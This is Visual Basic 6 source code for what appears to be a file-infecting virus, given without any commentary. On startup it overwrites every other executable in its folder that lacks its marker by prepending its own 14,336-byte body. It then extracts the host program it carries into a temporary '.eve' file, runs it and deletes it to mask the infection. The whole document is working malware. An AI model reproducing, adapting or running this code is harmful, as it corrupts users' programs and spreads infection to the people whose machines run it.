==============================
Option Explicit
Private Victim As String
Private HostLen As Long
Private vbArray() As Byte
Private hArray() As Byte
Private lenght As Long
Const MySize As Integer = 14336
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Private Sub Form_Initialize()
Dim i As Long
On Error GoTo vbVerror
Open App.Path & "" & App.EXEName & ".exe" For Binary Access Read _
As #1
ReDim vbArray(MySize)
Get #1, 1, vbArray
Close #1
Victim = Dir(App.Path & "" & "*.EXE")
While Victim <> ""
If Format(Victim, ">") <> Format(App.EXEName & ".EXE", ">") Then
Open App.Path & "" & Victim For Binary Access Read As #1
ReDim hArray(LOF(1))
Get #1, 1, hArray
Close #1
If hArray(&H69) <> &H4D Then
i = hArray(&H3C)
If hArray(i) = &H50 Then
Open App.Path & "" & Victim For Binary Access Write As #1
Put #1, , vbArray
Put #1, MySize, hArray
Close #1
End If
End If
End If
Victim = Dir()
Wend
Open App.Path & "" & App.EXEName & ".exe" For Binary Access Read As #1
lenght = LOF(1) - MySize
If lenght <> 0 Then
ReDim vbArray(lenght - 1)
Get #1, MySize, vbArray
Close #1
Open App.Path & "" & App.EXEName & ".eve" For Binary Access Write As #1
Put #1, , vbArray
Close #1
idProg = Shell(App.Path & "" & App.EXEName & ".eve", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill App.Path & "" & App.EXEName & ".eve"
Else
Close #1
End If
End
vbVerror:
End Sub